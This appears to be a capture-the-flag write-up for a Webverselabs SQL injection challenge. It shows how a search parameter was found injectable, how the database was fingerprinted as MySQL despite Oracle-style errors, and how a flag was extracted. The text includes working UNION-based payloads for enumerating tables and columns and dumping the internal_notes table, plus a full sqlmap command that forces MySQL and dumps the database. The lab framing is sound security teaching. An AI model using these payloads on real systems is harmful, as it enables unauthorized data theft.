Webverselabs Challenge FreightManifest SQLi
Scenario :
Aerotrust’s catalog backend dates back to a 1999 migration off a homegrown FoxPro setup. The PHP front-end was wrapped around it the same year. The underlying storage was quietly swapped out in 2014 for cost reasons, but the team kept the legacy response surface untouched — partly because the procurement team’s tooling scrapes that text and complains when the format changes, partly because nobody owns that page anymore. The label on the tin and what’s inside the tin haven’t matched for over a decade.
Solution :
Checking the different endpoints : avionics , powerplant, etc. We find a parameter sent in each GET Request :
Tried Injecting inside this parameter , started by a simple ‘ to cause an error but that didn’t work :
Whenever we inject something it redirects us to the login page, i also checked with sqlmap but that didn’t work either .
Moving on, we can use the search feature :
Tried injecting the parameter which did result in an error :
To confirm the SQLi , we can either add another ‘ and hope this removes the error which means the query got closed successfully :
Or we can comment the rest without closing the query and if this doesn’t return an error this confirms the sqli as well :
Perfect, now we are sure the parameter is vulnerable to a SQLi.
Looking at the error : “ORA-00904: invalid identifier — ORA-00933: SQL command not properly ended”
This indicates that the DB is Oracle , we can also use SQLmap to confirm the sqli :
Now with this information we can confirm that there is a SQLi and that the DB is Oracle .
BUT when we let sqlmap run , it returns that the parameter was a false positive .
This is weird , since we can confirm that there is a SQLi so the fact that it returns that it is a false positive can be caused due to having the Wrong DB .
I tried confirming the SQLi by trying to detect the number of columns :
We keep adding numbers until we no longer have that error :
Perfect, we find that the number of columns is 6 and that first , third and Fourth columns are all returned to us .
Now since at first i thought this was an Oracle DB , i tried some payloads to get the DB name , and tables :
1
2
3
' UNION SELECT NULL,2,3,4,5,6 FROM dual-- - : This worked
' UNION SELECT NULL,2,3,4,5,6 FROM v$version-- - : This failed (privilege issue)
' UNION SELECT table_name, NULL, NULL, NULL, NULL, NULL FROM all_tables WHERE owner='AEROTRUST'-- - : Also worked and returned PARTS
First one didn’t return an error which is a good sign , it means the Table exists , and apparently DUAL is a known dummy table from ORACLE .
Second one returned an error :
Which is weird since v$version is specific to Oracle so by not existing something was wrong .
And finally the last one worked , and it did return the table name which in this case was PARTS .
Now logically i tried to get the column names for this table :
1
' UNION SELECT column_name, NULL, NULL, NULL, NULL, NULL FROM all_tab_columns WHERE table_name='PARTS'-- -
But i kept getting an error -_- :
It prepends aerotrust to the table we specified , but all_tabs_columns is in sys.all_tabs_columns , so when i tried specifying the full path :
1
' UNION SELECT column_name, NULL, NULL, NULL, NULL, NULL FROM sys.all_tab_columns WHERE table_name='PARTS'-- -
The error we got is specific to MySQL not oracle . This makes a LOT of sense now .
From there i used the information Schema which is the default one for Mysql :
And this worked perfectly , we are able to dump all column names .
But looking at the number of columns it will take a long time to enumerate each one of them manually to get the flag :
So i decided to use SQLmap , but this time , we must Force it to use Mysql otherwise it will default to Oracle and it won’t work again .
1
2
3
4
5
6
python3 sqlmap.py -u "https://be947dc8-4327-freight-manifest-ae6e5.challenges.webverselabs-pro.com/lookup.php?part_no=aaaa" \
--dbms=MySQL \
--level=5 \
--random-agent \
--batch \
--skip-heuristics
The –skip-heuristics is what forces it to use MySQL and skip the assumptions for DB that SQLmap uses .
Perfect this confirms the SQLi , from there we just dump the entire DB and get our flag :
A bit of waiting and we should get the entire Dump and from there we find our flag in the internal_notes table :
Manual Exfiltration :
We can also get the flag manually , we first list the columns names for the Interna_Notes table .
1
' UNION SELECT GROUP_CONCAT(column_name), NULL, NULL, NULL, NULL, NULL FROM information_schema.columns WHERE table_name='internal_notes' AND table_schema='aerotrust'-- -
From there we just retrieve all Fields :
1
' UNION SELECT GROUP_CONCAT(id,'|',body,'|',author,'|',category,'|',created_at ), NULL, NULL, NULL, NULL, NULL FROM internal_notes-- -
That was all for this challenge. See you in the next one :)